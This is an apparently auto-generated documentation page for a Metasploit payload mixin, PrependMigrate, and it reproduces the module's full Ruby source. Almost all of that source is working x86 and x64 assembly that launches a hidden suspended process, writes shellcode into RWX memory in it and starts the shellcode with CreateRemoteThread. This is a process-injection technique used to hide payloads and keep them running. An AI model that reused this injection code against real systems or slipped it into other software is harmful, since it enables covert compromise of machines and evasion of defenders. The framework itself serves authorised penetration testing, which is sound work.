Module: Msf::Payload::Windows::PrependMigrate
- Included in:
- Msf::Payload::Windows
- Defined in:
- lib/msf/core/payload/windows/prepend_migrate.rb
Overview
This mixin provides support for generating PrependMigrate blocks for Windows payloads
Instance Method Summary collapse
-
#apply_prepend_migrate(buf) ⇒ Object
Overload the generate() call to prefix our stubs.
-
#initialize(info = {}) ⇒ Object
Initialize.
-
#prepend_migrate(buf) ⇒ Object
Create assembly.
-
#prepend_migrate? ⇒ Boolean
Returns the state of the PrependMigrate option See github.com/rapid7/metasploit-framework/pull/917 for discussion.
- #prepend_migrate_64(buf) ⇒ Object
Instance Method Details
#apply_prepend_migrate(buf) ⇒ Object
Overload the generate() call to prefix our stubs
36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 |
# File 'lib/msf/core/payload/windows/prepend_migrate.rb', line 36 def apply_prepend_migrate(buf) pre = '' test_arch = [ *(self.arch) ] if prepend_migrate? # Handle all x86 code here if test_arch.include?(ARCH_X86) migrate_asm = prepend_migrate(buf) pre << Metasm::Shellcode.assemble(Metasm::Ia32.new, migrate_asm).encode_string # Handle all x64 code here elsif test_arch.include?(ARCH_X64) migrate_asm = prepend_migrate_64(buf) pre << Metasm::Shellcode.assemble(Metasm::X64.new, migrate_asm).encode_string end end return pre + buf end |
#initialize(info = {}) ⇒ Object
Initialize
13 14 15 16 17 18 19 20 21 22 |
# File 'lib/msf/core/payload/windows/prepend_migrate.rb', line 13 def initialize(info = {}) ret = super( info ) ( [ Msf::OptBool.new('PrependMigrate', [ true, "Spawns and runs shellcode in new process", false ]), Msf::OptString.new('PrependMigrateProc', [ false, "Process to spawn and run shellcode in" ]) ], Msf::Payload::Windows ) ret end |
#prepend_migrate(buf) ⇒ Object
Create assembly
58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 |
# File 'lib/msf/core/payload/windows/prepend_migrate.rb', line 58 def prepend_migrate(buf) payloadsize = "0x%04x" % buf.length procname = datastore['PrependMigrateProc'] || 'rundll32' # Prepare instructions to get address of block_api into ebp block_api_start = <<-EOS call start EOS block_api_obj = Object.new.extend(Msf::Payload::Windows::BlockApi) block_api_asm = block_api_obj.asm_block_api # Prepare default exit block (sleep for a long long time) exitblock = %Q^ ;sleep push -1 push #{Rex::Text.block_api_hash("kernel32.dll", "Sleep")} ; hash( "kernel32.dll", "Sleep" ) call ebp ; Sleep( ... ); ^ # Check to see if we can find exitfunc in the payload exitfunc_block_asm = %Q^ exitfunk: mov ebx, #{Rex::Text.block_api_hash("kernel32.dll", "ExitThread")} ; The EXITFUNK as specified by user... kernel32.dll!ExitThread push #{Rex::Text.block_api_hash("kernel32.dll", "GetVersion")} ; hash( "kernel32.dll", "GetVersion" ) call ebp ; GetVersion(); (AL will = major version and AH will = minor version) cmp al, 6 ; If we are not running on Windows Vista, 2008 or 7 jl goodbye ; Then just call the exit function... cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7... jne goodbye ; mov ebx, #{Rex::Text.block_api_hash("ntdll.dll", "RtlExitUserThread")} ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThreadgoodbye: ; We now perform the actual call to the exit function goodbye: push 0x0 ; push the exit function parameter push ebx ; push the hash of the exit function call ebp ; call EXITFUNK( 0 ); ^ exitfunc_block_blob = Metasm::Shellcode.assemble(Metasm::Ia32.new, exitfunc_block_asm).encode_string exitfunc_index = buf.index(exitfunc_block_blob) if exitfunc_index exitblock_offset = "0x%04x + payload - exitblock" % (exitfunc_index - 5) exitblock = "exitblock:\njmp $+#{exitblock_offset}" end block_api_ebp_asm = <<-EOS pop ebp ; Pop off the address of 'api_call' for calling later. EOS block_close_to_payload = '' # Check if we can find block_api in the payload block_api = Metasm::Shellcode.assemble(Metasm::Ia32.new, block_api_asm).encode_string block_api_index = buf.index(block_api) if block_api_index # Prepare instructions to calculate address ebp_offset = "0x%04x" % (block_api_index + 5) block_api_ebp_asm = <<-EOS jmp close_to_payload return_from_close_to_payload: pop ebp add ebp, #{ebp_offset} EOS # Clear now-unneeded instructions block_api_asm = '' block_api_start = '' block_close_to_payload = <<-EOS close_to_payload: call return_from_close_to_payload EOS end #put all pieces together migrate_asm = <<-EOS cld ; Clear the direction flag. #{block_api_start} #{block_api_asm} start: #{block_api_ebp_asm} ; get our own startupinfo at esp+0x60 add esp,-400 ; adjust the stack to avoid corruption lea edx,[esp+0x60] push edx push #{Rex::Text.block_api_hash("kernel32.dll", "GetStartupInfoA")} ; hash( "kernel32.dll", "GetStartupInfoA" ) call ebp ; GetStartupInfoA( &si ); lea eax,[esp+0x60] ; Put startupinfo pointer back in eax jmp getcommand gotcommand: pop esi ; esi = address of process name (command line) ; create the process lea edi,[eax+0x60] ; Offset of empty space for lpProcessInformation push edi ; lpProcessInformation : write processinfo here push eax ; lpStartupInfo : current info (read) xor ebx,ebx push ebx ; lpCurrentDirectory push ebx ; lpEnvironment push 0x08000004 ; dwCreationFlags CREATE_NO_WINDOW | CREATE_SUSPENDED push ebx ; bInHeritHandles push ebx ; lpThreadAttributes push ebx ; lpProcessAttributes push esi ; lpCommandLine push ebx ; lpApplicationName push #{Rex::Text.block_api_hash("kernel32.dll", "CreateProcessA")} ; hash( "kernel32.dll", "CreateProcessA" ) call ebp ; CreateProcessA( &si ); ; if we didn't get a new process, use this one test eax,eax jz payload ; If process creation failed, jump to shellcode goodProcess: ; allocate memory in the process (VirtualAllocEx()) ; get handle push 0x40 ; RWX add bh, 0x10 ; ebx = 0x1000 push ebx ; MEM_COMMIT EOS if buf.length > 4096 # probably stageless, so we don't have shellcode size constraints, # and so we can just set ebx to the size of the payload migrate_asm << <<-EOS mov ebx, #{payloadsize} ; stageless size EOS end migrate_asm << <<-EOS push ebx ; size xor ebx,ebx push ebx ; address push [edi] ; handle push #{Rex::Text.block_api_hash("kernel32.dll", "VirtualAllocEx")} ; hash( "kernel32.dll", "VirtualAllocEx" ) call ebp ; VirtualAllocEx( ...); ; eax now contains the destination ; WriteProcessMemory() push esp ; lpNumberOfBytesWritten push #{payloadsize} ; nSize ; pick up pointer to shellcode & keep it on stack jmp begin_of_payload begin_of_payload_return: ; lpBuffer push eax ; lpBaseAddress push [edi] ; hProcess push #{Rex::Text.block_api_hash("kernel32.dll", "WriteProcessMemory")} ; hash( "kernel32.dll", "WriteProcessMemory" ) call ebp ; WriteProcessMemory( ...) ; run the code (CreateRemoteThread()) push ebx ; lpthreadID push ebx ; run immediately push ebx ; no parameter mov ecx,[esp-0x4] push ecx ; shellcode push ebx ; stacksize push ebx ; lpThreadAttributes push [edi] push #{Rex::Text.block_api_hash("kernel32.dll", "CreateRemoteThread")} ; hash( "kernel32.dll", "CreateRemoteThread" ) call ebp ; CreateRemoteThread( ...); #{exitblock} ; jmp to exitfunc or long sleep getcommand: call gotcommand db "#{procname}" db 0x00 #{block_close_to_payload} begin_of_payload: call begin_of_payload_return payload: EOS migrate_asm end |
#prepend_migrate? ⇒ Boolean
Returns the state of the PrependMigrate option See github.com/rapid7/metasploit-framework/pull/917 for discussion.
29 30 31 |
# File 'lib/msf/core/payload/windows/prepend_migrate.rb', line 29 def prepend_migrate? datastore['PrependMigrate'] end |
#prepend_migrate_64(buf) ⇒ Object
231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 |
# File 'lib/msf/core/payload/windows/prepend_migrate.rb', line 231 def prepend_migrate_64(buf) payloadsize = "0x%04x" % buf.length procname = datastore['PrependMigrateProc'] || 'rundll32' # Prepare instructions to get address of block_api into ebp block_api_start = <<-EOS call start EOS block_api_obj = Object.new.extend(Msf::Payload::Windows::BlockApi_x64) block_api_asm = block_api_obj.asm_block_api # Prepare default exit block (sleep for a long long time) exitblock = <<-EOS ;sleep xor rcx,rcx dec rcx ; rcx = -1 mov r10d, #{Rex::Text.block_api_hash("kernel32.dll", "Sleep")} ; hash( "kernel32.dll", "Sleep" ) call rbp ; Sleep( ... ); EOS exitfunc_block_asm = %Q^ exitfunk: mov ebx, #{Rex::Text.block_api_hash("kernel32.dll", "ExitThread")} ; The EXITFUNK as specified by user... mov r10d, #{Rex::Text.block_api_hash("kernel32.dll", "GetVersion")} ; hash( "kernel32.dll", "GetVersion" ) call rbp ; GetVersion(); (AL will = major version and AH will = minor version) add rsp, 40 ; cleanup the default param space on stack cmp al, 0x6 ; If we are not running on Windows Vista, 2008 or 7 jl goodbye ; Then just call the exit function... cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7... jne goodbye ; mov ebx, #{Rex::Text.block_api_hash("ntdll.dll", "RtlExitUserThread")} ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread goodbye: ; We now perform the actual call to the exit function push 0x0 ; pop rcx ; set the exit function parameter mov r10d, ebx ; place the correct EXITFUNK into r10d call rbp ; call EXITFUNK( 0 ); ^ # Check to see if we can find x64 exitfunc in the payload exitfunc_block_blob = Metasm::Shellcode.assemble(Metasm::X64.new, exitfunc_block_asm).encode_string exitfunc_index = buf.index(exitfunc_block_blob) if exitfunc_index exitblock_offset = "0x%04x + payload - exitblock" % (exitfunc_index - 5) exitblock = "exitblock:\njmp $+#{exitblock_offset}" end block_api_rbp_asm = <<-EOS pop rbp ; Pop off the address of 'api_call' for calling later. EOS block_close_to_payload = '' # Check if we can find block_api in the payload block_api = Metasm::Shellcode.assemble(Metasm::X64.new, block_api_asm).encode_string block_api_index = buf.index(block_api) if block_api_index # Prepare instructions to calculate address rbp_offset = "0x%04x" % (block_api_index + 5) block_api_rbp_asm = <<-EOS jmp close_to_payload return_from_close_to_payload: pop rbp add rbp, #{rbp_offset} EOS # Clear now-unneeded instructions block_api_asm = '' block_api_start = '' block_close_to_payload = <<-EOS close_to_payload: call return_from_close_to_payload EOS end #put all pieces together migrate_asm = <<-EOS cld ; Clear the direction flag. #{block_api_start} #{block_api_asm} start: #{block_api_rbp_asm} ; get our own startupinfo at esp+0x60 add rsp,-400 ; adjust the stack to avoid corruption lea rcx,[rsp+0x30] mov r10d, #{Rex::Text.block_api_hash("kernel32.dll", "GetStartupInfoA")} ; hash( "kernel32.dll", "GetStartupInfoA" ) call rbp ; GetStartupInfoA( &si ); jmp getcommand gotcommand: pop rsi ; rsi = address of process name (command line) ; create the process push 0 ; keep the stack aligned lea rdi,[rsp+0x120] ; Offset of empty space for lpProcessInformation push rdi ; lpProcessInformation : write processinfo here lea rcx,[rsp+0x60] push rcx ; lpStartupInfo : current info (read) xor rcx,rcx push rcx ; lpCurrentDirectory push rcx ; lpEnvironment push 0x08000004 ; dwCreationFlags CREATE_NO_WINDOW | CREATE_SUSPENDED push rcx ; bInHeritHandles mov r9, rcx ; lpThreadAttributes mov r8, rcx ; lpProcessAttributes mov rdx, rsi ; lpCommandLine ; rcx is already zero ; lpApplicationName mov r10d, #{Rex::Text.block_api_hash("kernel32.dll", "CreateProcessA")} ; hash( "kernel32.dll", "CreateProcessA" ) call rbp ; CreateProcessA( &si ); ; if we didn't get a new process, use this one test rax,rax jz payload ; If process creation failed, jump to shellcode goodProcess: ; allocate memory in the process (VirtualAllocEx()) ; get handle push 0x40 ; RWX mov r9,0x1000 ; 0x1000 = MEM_COMMIT EOS if buf.length > 4096 # probably stageless, so we don't have shellcode size constraints, # and so we can just set r8 to the size of the payload migrate_asm << <<-EOS mov r8, #{payloadsize} ; stageless size EOS else # otherwise we'll just reuse r9 (4096) for size migrate_asm << <<-EOS mov r8,r9 ; size EOS end migrate_asm << <<-EOS xor rdx,rdx ; address mov rcx, [rdi] ; handle mov r10d, #{Rex::Text.block_api_hash("kernel32.dll", "VirtualAllocEx")} ; hash( "kernel32.dll", "VirtualAllocEx" ) call rbp ; VirtualAllocEx( ...); ; eax now contains the destination - save in ebx mov rbx, rax ; lpBaseAddress ; WriteProcessMemory() push rsp ; lpNumberOfBytesWritten mov r9, #{payloadsize} ; nSize ; pick up pointer to shellcode & keep it on stack jmp begin_of_payload begin_of_payload_return: pop r8 ; lpBuffer mov rdx, rax ; lpBaseAddress mov rcx, [rdi] ; hProcess mov r10d, #{Rex::Text.block_api_hash("kernel32.dll", "WriteProcessMemory")} ; hash( "kernel32.dll", "WriteProcessMemory" ) call rbp ; WriteProcessMemory( ...); ; run the code (CreateRemoteThread()) xor rcx, rcx ; rdx = 0 push rcx ; lpthreadID push rcx ; run immediately push rcx ; no parameter mov r9,rbx ; shellcode mov r8, rcx ; stacksize ;rdx already equals 0 ; lpThreadAttributes mov rcx, [rdi] mov r10d, #{Rex::Text.block_api_hash("kernel32.dll", "CreateRemoteThread")} ; hash( "kernel32.dll", "CreateRemoteThread" ) call rbp ; CreateRemoteThread( ...); #{exitblock} ; jmp to exitfunc or long sleep getcommand: call gotcommand db "#{procname}" db 0x00 #{block_close_to_payload} begin_of_payload: call begin_of_payload_return payload: EOS migrate_asm end |